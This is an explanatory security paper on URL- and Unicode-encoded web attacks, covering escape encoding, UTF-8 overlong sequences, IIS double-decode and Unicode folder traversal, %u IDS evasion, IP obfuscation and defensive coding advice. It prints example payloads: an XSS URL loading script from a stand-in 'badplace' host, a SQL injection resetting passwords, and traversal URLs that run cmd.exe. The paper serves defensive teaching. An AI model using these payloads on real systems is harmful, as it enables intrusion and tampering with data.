URL Embedded Attacks

Attacks using the common web browser

Web Browser Attacks

A popular misconception is that web hacking and defacement is difficult, often requiring detailed technical knowledge and specialist tools. Unfortunately, one of the best tools in a hacker's arsenal is the common web browser. Using Microsoft's Internet Explorer or Netscape's Communicator, it is possible to identify and exploit many common vulnerability's in both the remote web server's hosting software and the site content, through simple URL editing. Over the last few years, the numbers of vulnerabilities and security flaws directly exploitable through this type of attack have increased phenomenally, primarily due to application developers failing to adequately check and decode the received client data.

A large proportion of these attacks could be prevented by understanding the methods for encoding data currently supported by popular Internet protocols (such as HTTP) and hosting applications (such as Microsoft's Internet Information Server). In particular, an understanding of URL encoding techniques is required. In many resources, the usage of various terms like Unicode, web encoding, percent-encoding, escape-encoding and UTF encoding are used interchangeably. This document aims to enlighten developers and security administrators on the issues associated with URL encoded attacks. It is also important to note that many of the encoding methods and security implications are applicable to any application accepting data from a client system.

URI Encoding

Character Restrictions

Uniform Resource Indicators (URI) are a compact string of characters for identifying an abstract or physical resource, typically a web based Uniform Resource Locator (URL). Certain rules and standards have been established to ensure a constructed URI can be correctly interpreted by an application (for more information, read "Uniform Resource Identifiers (URI): Generic Syntax", http://www.ietf.org/rfc/rfc2396.txt).

Traditional web applications transfer data between client and server using the HTTP or HTTPS protocols. There are essentially two methods in which a server receives input from a client; data can be passed in the HTTP headers (submitted through the cookie field, or the post data field) or it can be included in the query portion of the requested URL. When data is included in a URL, it must be specially encoded to conform to proper URL syntax.

The standard (rfc2396) defines the following classes of characters:

- Unreserved – Data characters that do not have a reserved purpose. These include upper and lower case characters, decimal digits, and a limited set of punctuation marks and symbols.
- Reserved – Data characters that could conflict with the correct interpretation of a URI. Refers to those characters that are allowed within a URI, but which may not be allowed within a particular

segment of the generic URI syntax.

Class	Characters
Unreserved	a-z, A-Z, 0-9 and _ . ! ~ * ' ( )
Reserved	; / ? : @ & = + $,

When dealing with IPv6, it is advised that to use a literal IPv6 address in a URL, the literal address should be enclosed in "[" and "]" characters. If this is the case, it is recommended that the characters “[“ and “]” are moved from the “unwise” list to the reserved list (for more information, read “Format for Literal IPv6 Addresses in URL's” http://www.ietf.org/rfc/rfc2732.txt).

Escaped-encoding

Escaped-encoding, or sometimes referred to as percent-encoding, is the accepted method of representing characters within a URI that may need special syntax handling to be correctly interpreted. This is achieved by encoding the character to be interpreted with a sequence of three characters. This triplet sequence consists of the percentage character “%” followed by the two hexadecimal digits representing the octet code of the original character. For example, the US-ASCII character set represents a space with octet code 32, or hexadecimal 20. Thus its URL-encoded representation is %20.

Applications may automatically escape reserved and unreserved characters, or automatically un-escape an escape-encoded sequence within a URI, if there is potential for it to be incorrectly interpreted by the remote application. This conversion may be due to the position of the character or escape-encoded sequence within the URI. For example, "%7e" is sometimes used instead of "~" in an http URL path, but the two are equivalent for an http URL.

Because the percent "%" character always has the reserved purpose of being the escape indicator, it must be escaped as "%25" in order to be used as data within a URI. The RFC for URI encoding recommends that care should be taken not to escape or un-escape the same string more than once, since un-escaping an already un-escaped string might lead to misinterpreting a percent data character as another escaped character, or vice versa in the case of escaping an already escaped string.

Unreserved characters can be escaped without changing the semantics of the URI, but this should not be done unless the URI is being used in a context that does not allow the un-escaped character to appear.

The standard (rfc2396) defines the following groupings of characters that must be escaped to be included within a URI.

Grouping	Characters
Control	<US-ASCII coded characters 00-1F and 7F hexadecimal>
Space	<US-ASCII coded character 20 hexadecimal>
Delims	< > # % "
Unwise	{ } | \ ^ [ ] `

Unicode-Encoding

Unicode was developed in a direct response to problems associated with multiple language implementations of the ASCII character set. In the past, due to the limited size of the standard ASCII character reference table, different languages could use the same reference number for different characters, or the same character may have been represented by multiple reference numbers. As expected, this led to various problems in the display and interpretation of data, as well as hundreds of different methods of encoding country specific characters. These problems were further compounded by the necessity to reference an expanded array of commonly used punctuation and technical symbols.

Unicode Encoding is a method of referencing and storing characters with multiple bytes by providing a unique reference number for every character no matter what the language or platform. It is designed to allow a Universal Character Set (UCS) to encompass most of the world's writing systems. Many modern communication standards (such as XML, Java, LDAP, JavaScript, WML, etc.), operating systems and web clients/servers use Unicode character values. Unicode (UCS-2 ISO 10646) is a 16-bit character encoding that contains all of the characters (216 = 65,536 different characters total) in common use in the world's major languages.

Unfortunately, the extended referencing system is not completely compatible with many old (albeit common) protocols and applications, and this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. One of the most commonly utilised formats, UTF-8, has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and other

software relying on US-ASCII values, but it is transparent to other values.

UTF-8

In UTF-8, characters are encoded using sequences of 1 to 6 octets. The only octet of a "sequence" of one has the higher-order bit set to 0, the remaining 7 bits being used to encode the character value. In a sequence of n octets, n>1, the initial octet has the n higher-order bits set to 1, followed by a bit set to 0. The remaining bit(s) of that octet contain bits from the value of the character to be encoded. The following octet(s) all have the higher-order bit set to 1 and the following bit set to 0, leaving 6 bits in each to contain bits from the character to be encoded.

The table below summarizes the format of these different octet types. The letter x indicates bits available for encoding bits of the UCS-4 character value.

UCS-4 range (hex.) UTF-8 octet sequence (binary)

0000 0000-0000 007F 0xxxxxxx
0000 0080-0000 07FF 110xxxxx 10xxxxxx
0000 0800-0000 FFFF 1110xxxx 10xxxxxx 10xxxxxx
0001 0000-001F FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
0020 0000-03FF FFFF 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
0400 0000-7FFF FFFF 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

The UTF-8 translation has the following characteristics:

- Character values from 0000 0000 to 0000 007F (US-ASCII repertoire) correspond to octets 00 to 7F (7 bit US-ASCII values). A direct consequence is that a plain ASCII string is also a valid UTF-8 string.
- The first octet of a multi-octet sequence indicates the number of octets in the sequence.
- The octet values FE and FF never appear.

At the application level, earlier versions of HTML allowed the entire range of the ISO-8859-1 (ISO Latin-1) character set; the HTML 4.0 specification expanded to permit any character in the Unicode character set.

This encoding scheme may not seem overly clear, therefore consider the character “.” (dot) with the UCS-4 hexadecimal value of 0000 002E (which is 2E in US-ASCII). In UTF-8 encoding, this value can be represented in 6 different ways:

2E (00101110)

C0 AE (11000000 10101110)

E0 80 AE (11100000 10000000 10101110)

F0 80 80 AE (11110000 10000000 10000000 10101110)

F8 80 80 80 AE (11111000 10000000 10000000 10000000 10101110)

FC 80 80 80 80 AE (11111100 10000000 10000000 10000000 10000000 10101110)

Thus, the character may be represented with two bytes (C0 AE) by utilising the second UTF-8 level, three bytes (E0 80 AE) by utilising the third UTF-8 level, and so on to 6 bytes as indicated above.

Abuse of Encoding Schemes

URL-Encoding

A popular method of manipulating a web application for malicious ends is to extend the functionality of the URL in an HTTP or HTTPS request beyond that originally envisaged by the developer. Using a mix of escaped-encoding and Unicode character representation, it is often possible for an attacker to craft requests that may be interpreted by either the server or client environments as a valid application request. Even though certain characters do not need to be escape-encoded, any 8-bit code (i.e., decimal 0-255 or hexadecimal 00-FF) may be encoded. ASCII control characters such as the NULL character (decimal code 0) can be escape-encoded, as can all HTML entities and any restricted characters used by the operating system or database. In some cases, the encoding of URL information may be designed to purposefully disguise the nature of the attack.

Examples of typical URL-Encoded attacks

Cross-Site Scripting

Excerpt from an arbitrary web page - “getdata.php”: `echo $HTTP_GET_VARS[“data”];`

URL-Encoded attack: `http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e`

HTML execution: `<script src=”http://www.badplace.com/nasty.js”></script>`

SQL Injection

Original database query in the example file - “login.asp”: `SQLQuery = “SELECT preferences FROM logintable WHERE userid=’” & Request.QueryString(“userid”) & “’ AND password=’” & Request.QueryString(“password”) & “’;”`

URL-encoded attack: `http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00`

Executed database query: `SELECT preferences FROM logintable WHERE userid=’bob’; update logintable set password=’0wn3d’;`

Multiple Decoding

Various guidelines and RFC's carefully explain the method of decoding escape encoded characters and hint at the dangers associated with decoding multiple times and at multiple layers of an application. However, many applications still incorrectly parse escape-encoded data multiple times.

The significance of this form of attack is directly related to the order of decoding the escape-encoded URI, and when appropriate security checks are made on the validity of the URI data. For example, a commercial web server may originally decode all escape-encoded characters; part of the security verification may include the monitoring of “\..\” path recursion for sanity checking and to ensure that directory-path information does not expand beyond a defined limit. However, by escape-encoding this information multiple times, this security check may be circumvented on the initial decoding pass. If this information is then passed onto another application component, it may go through additional decoding, and result in an action not originally envisaged by the application developer.

The multiple escape-encoding of characters or sequences such as “\” or “..\” is particularly relevant in previously successful attacks against applications hosted on Microsoft Windows operating systems. Consider the character “\” as the escape-encoded sequence “%5c”. It is possible to further encode this sequence by escape-encoding each character individually ('%' = %25, '5' = %35, 'c' = %63), and combining them together in multiple ways or multiple times. For example:

- %255c
- %%35c
- %%35%63
- %25%35%63
- etc.

Thus, the sequence “..\” may be represented by “..%255c”, “..%%35c” or other permutation. After the first decoding, the sequence “..%255c” is converted to “..%5c”, and only in the second decoding pass is the sequence is finally converted to “..\”.

Example of a multiple decoding attack

Microsoft IIS Double Decode

When loading an executable CGI program, IIS will decode twice. First, CGI filename will be decoded to check if it is an executable file (for example, '.exe' or '.com' suffix check-up). Successfully passing the filename check-up, IIS will run another decode process. Normally, only CGI parameters should be decoded in this process. But this time IIS mistakenly decodes both CGI parameters and the decoded CGI filename. In this way, CGI filename is decoded twice by error.

(Visit http://www.microsoft.com/technet/security/bulletin/MS01-026.asp for more information)

Multiple decode attack: `http://TARGET/scripts/..%255c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\`

Host execution: dir c:\ (the directory list of C:\ is revealed)

Unicode Attacks

Describing how a Unicode attack functions, and why the resultant character string may be successful, is a difficult task due to the extreme variety and resulting complexity of the of Unicode-encoding. Three issues are prevalent; Character Mapping, Character Encoding, and how an application supports character mapping and encoding.

- The UTF-8 sequence for a character may take one of six different representations. Consider the "." (dot) described earlier represented as 2E, C0 AE, E0 80 AE, F0 80 80 AE, F8 80 80 80 AE, or FC 80 80 80 80 AE.
- The UTF-8 sequence may contain not invalid values such as FE and FF. Further information on invalid values can be found at http://www.unicode.org/versions/corrigendum1.html.

In most circumstances, Unicode attacks have been successful due to poor security validating of the UTF-8 encoded character or string, and the interpretation of illegal octet sequences. Consider the following:

- An application may prohibit the use of the NUL character when parsed the single octet 00, but allow the illegal two-octet sequence C0 80 and interpret it as a NUL.
- An application may use a "short-cut" when decoding UTF-8, and only decode the six least significant bits. The two most significant bits, normally "10", may also be replaced with "00", "01" or "11". Thus the "." (dot) may be represented as **C0 AE**, C0 2E, C0 6E and C0 EE.
  11000000 **10**101110 (**C0 AE**),
  11000000 **00**101110 (C0 2E),
  11000000 **01**101110 (C0 6E),
  11000000 **11**101110 (C0 EE).
- Various application components may prohibit the use of the string "..\" and the corresponding single octet sequence 2E 2E 5C, yet permit the illegal octet sequence 2E C0 AE 5C.

In the majority of attacks, Unicode data will be escape-encoded for inclusion within the requested URL. Depending upon the application receiving the encoded request, a successful attack may be made using valid or invalid URL encoding.

- Valid URL encoding refers to the escape-encoding of each UTF-8 sequence octet. For example, the "/" (forward slash) UTF-8 sequence could be encoded as %C0%AF.
- An invalid URL encoding refers to the use of non-hexadecimal digits that may be incorrectly interpreted as an alternative, but valid, hexadecimal digit. For example, %C0 is interpreted as the character number ('C' - 'A' + 10) ×16 + ('0' – '0') = 192. Applying the same algorithm for alternative representations:
  %BG yields, ('B' – 'A' + 10) × 16 + ('G' – '0') = 192
  %S0 yields, ('S' – 'A' + 10) × 16 + ('0' – '0') = 448, which, when represented as a single byte (8 significant bits), yields 192.
  %QF yields, ('Q' – 'A' + 10) × 16 + ('F' – '0') = 431, which, when represented as a single byte (8 significant bits), yields 175. Corresponding to %AF.
  Thus, if the application's algorithm will accept non-hexadecimal digits (such as 'S'), then it may be possible to have variants for %C0 such as %S0 and %BG. In the case of the "/", it is possible to represent the character as %C0%AF or %BG%QF for example.

Example of a Unicode attack

Unicode Web Server Folder Traversal

Very similar to the Microsoft IIS double decode vulnerability mentioned previously. However, this time the double decode value %255c can be substituted for a variety of Unicode representations of the '\' or '/' characters such as %c0%af, %c1%9c, %c1%pc, %c0%qf, %c1%8s, %c1%1c, %c1%af, and %e0%80%af. The selection of a successful Unicode representation of '\' and '/', based upon the language character set installed and running on the host.

(Visit http://www.microsoft.com/technet/security/bulletin/MS00-078.asp for more information)

Unicode attack: `http://TARGET/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\`

Host execution: `dir c:\` (the directory list of C:\ is revealed)

%u Encoding

An application that supports %u encoding gains the ability to represent the full range of Unicode character strings, beyond those normally available through escape-encoded UTF-8. At the present time, %u encoding is not a recognised standard. However, Microsoft's IIS Web server is one such application that supports %u encoding.

The %u encoding schema takes the form "%u0061" for UTF-8 character "a", where the value after %u is the full Unicode value of the character. As previously discussed, the Unicode language code for UTF-8 is 00. Thus, for comparison, the character "Δ" under Basic Greek (03) would be represented as %u0394, and the character "♂" under Miscellaneous Symbols (26) would be represented by %u2642.

Attacks using this method of encoding character strings have been successful in the past largely due to perimeter defence systems (e.g. content filtering) and intrusion detection systems (IDS) not being aware of the encoding system, and therefore not decoding it.

Example of a %u Encoded attack

IDS Evasion of .ida buffer overflow

The CodeRed worm used the .ida buffer overflow vulnerability to be able to exploit systems to propagate. CodeRed was detected because IDS systems had signatures for the .ida attacks. However if CodeRed would have had a polymorphic %u encoding mechanism then it would have easily slipped past most IDS systems because they detected the .ida attack by looking for ".ida" (or any .ida signature string) in a web request. So if an attacker sent a %u encoded request then they could bypass IDS's checking for ".ida".

(Visit http://www.eeye.com/html/Research/Advisories/AD20010705.html and http://www.microsoft.com /technet/security/bulletin/ms01-033.asp for more information)

%u encoded attack: `http://TARGET/scripts/default.id%u0061?[buffer]=X` where `[buffer]` is approximately 240 bytes

Obfuscating an IP Address

Most Internet users are familiar with navigating to sites and services using a fully qualified domain name, such as www.iss.net. For an application to communicate over the Internet (and most internal networks), this address must to be resolved to an IP address, such as 209.134.161.35 for www.iss.net. This resolution of IP address to host name is achieved through domain name servers.

An attacker may wish to use the IP address as part of a URI to obfuscate the host and possibly bypass content filtering systems, or hide the destination from the end user. Although many IT professionals are familiar with the classic dotted-decimal representation of IP addresses (000.000.000.000), most are not familiar with other possible representations. Using these other IP representations within an URI, it may be possible obscure the host destination from many automated defence systems.

Other representations of an IP address

Depending on the application interpreting an IP address, there may be a variety of ways to encode the address other than the classic dotted-decimal format. Alternative formats include:

- "Dword" - meaning double word because it consists essentially of two binary "words" of 16 bits; but it is expressed in decimal (base 10),
- "Octal" - address expressed in base 8, and
- "Hexadecimal" - address expressed in base 16.

These alternative formats are best explained using an example. Consider the URI http://www.iss.net/, which resolves to 209.134.161.35. This can be interpreted as:

- decimal – http://209.134.161.35/
- "dword" – http://3515261219/
- "octal" – http://0321.0206.0241.0043/
- "hexadecimal" – http://0xD1.0x86.0xA1.0x23/ or http://0xD186A123/

In some cases, it may be possible to mix formats (e.g. http://0321.0x86.161.0043).

A dot-less IP calculator can be found at http://www.tcp-ip.nu/cgi-bin/tcp-ip/calc.cgi.

Further representations of the dot-less “Dword” IP address can be achieved by adding multiples of 4294967296. For example, the following addresses all resolve to 209.134.161.35:

- 3515261219
- 7810228515
- 12105195811
- 16400163107

IPv6 Addressing

IP version 6 (IPv6) is a new version of the Internet Protocol designed as a successor to IP version 4 (IPv4) (for information on IPv4 visit http://www.ietf.org/rfc791, and http://www.ietf.org/rfc/rfc1883.txt for IPv6). The most interesting change lies in the increase in the IP address size from 32 bits to 128 bits, and the associated changes in representing this addressing. There are three conventional forms for representing IPv6 addresses as text strings:

- The preferred form is x:x:x:x:x:x:x:x, where the 'x's are the hexadecimal values of the eight 16-bit pieces of the address. Where it is not necessary to write the leading zeros in an individual field.
- Due to some methods of allocating certain styles of IPv6 addresses, it will be common for addresses to contain long strings of zero bits. In order to make writing addresses containing zero bits easier a special syntax is available to compress the zeros. The use of "::" indicates multiple groups of 16-bits of zeros. The "::" can only appear once in an address. The "::" can also be used to compress the leading and/or trailing zeros in an address.
- An alternative form that is sometimes more convenient when dealing with a mixed environment of IPv4 and IPv6 nodes is x:x:x:x:x:x:d.d.d.d, where the 'x's are the hexadecimal values of the six high-order 16-bit pieces of the address, and the 'd's are the decimal values of the four low-order 8-bit pieces of the address (standard IPv4 representation).

This formatting of IPv6, and support for IPv4 addresses, enables an IP address to be further obscured to a casual observer and many automated detection systems that do not correctly identify and process IPv6 formatted requests. Examples of the IPv6 formatting options are included in the following table. It is worth noting that, when using an IPv6 address in a URL, the literal address should be enclosed in "[" and "]" characters (for more information, read “Format for Literal IPv6 Addresses in URL's” http://www.ietf.org/rfc/rfc2732.txt).

Literal IPv6 addresses	URL Representation Samples
FEDC:BA98:7654:3210:FEDC:BA98:7654:3210	http://[FEDC:BA98:7654:3210:FEDC:BA98:7654:3210]:80/index.html
1080:0:0:0:8:800:200C:4171	http://[1080:0:0:0:8:800:200C:417A]/index.html
3ffe:2a00:100:7031::1	http://[3ffe:2a00:100:7031::1]
1080::8:800:200C:417A	http://[1080::8:800:200C:417A]/foo
::192.9.5.5	http://[::192.9.5.5]/ipng
::FFFF:129.144.52.38	http://[::FFFF:129.144.52.38]:80/index.html
2010:836B:4179::836B:4179	http://[2010:836B:4179::836B:4179]

A Defensive Strategy

URL-encoding Advice

It is evident that the use of the character encoding schemes previously discussed can offer an attacker an almost infinite number of ways to encode an attack. Detecting an attack using common signature matching techniques can range from being tedious, through to almost impossible. Thus, much of the responsibility for defending against such encoded attacks lies with the application developers themselves. Many past successful attacks and application vulnerabilities could have been averted by the following security practices:

- Read the RFC’s on the correct syntax for processing of URL, Unicode and applicable encoding schemes thoroughly. Many skilled and experienced people have written, reviewed and revised this information over the years. In doing so, it is often possible to avoid many of the security pitfalls, and associated vulnerabilities, commonly encountered with a specific application type.
- When client input is required from web-based forms, avoid using the “GET” method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the “POST method whenever possible.

- Whatever method is used for submitting client data, it is often a trivial task for an attacker to manipulate the content. Thus client-side content checking should never be relied upon. All data should be re-validated and sanitized at the receiving server to ensure the data is correct and has not been tampered with.
- When data is submitted to a server, always limit the type of acceptable data as much as possible by using strict validation rules. Programmatically, always ensure that the default data processing rule is “fail” - only accept the data if it is of the correct type, falls within the specified bounds (minimum and maximum lengths) and contains expected content.
- Do not assume that the application or operating system hosting the custom developed software or pages, will correctly decode escape-encoded or Unicode data. Always perform independent validation and sanity checking of the supplied data.
- Ensure that the custom application does not repeat any character-decoding processes that should have been carried out by the hosting application or operating system. If the data remains encoded, or contains unacceptable characters, treat the data as having failed, and deal with accordingly.
- Any security checks should be completed after the data has been decoded and validated as acceptable content (e.g. maximum and minimum lengths, correct data type, does not contain any encoded data, textual data only contains the characters a-z and A-Z etc.)
- There is no substitute for testing. Thoroughly test the custom applications responses to encoded and incorrect data formats. Various tools and scripts are available on the Internet to aid this process. For example, a good script for verifying the correct interpretation of UTF-8 encoded characters can be found at http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt.
- Be aware of alternative methods of encoding data, especially those supported by the applications host environment. This is particularly true in the methods available for encoding or obfuscating IP address information.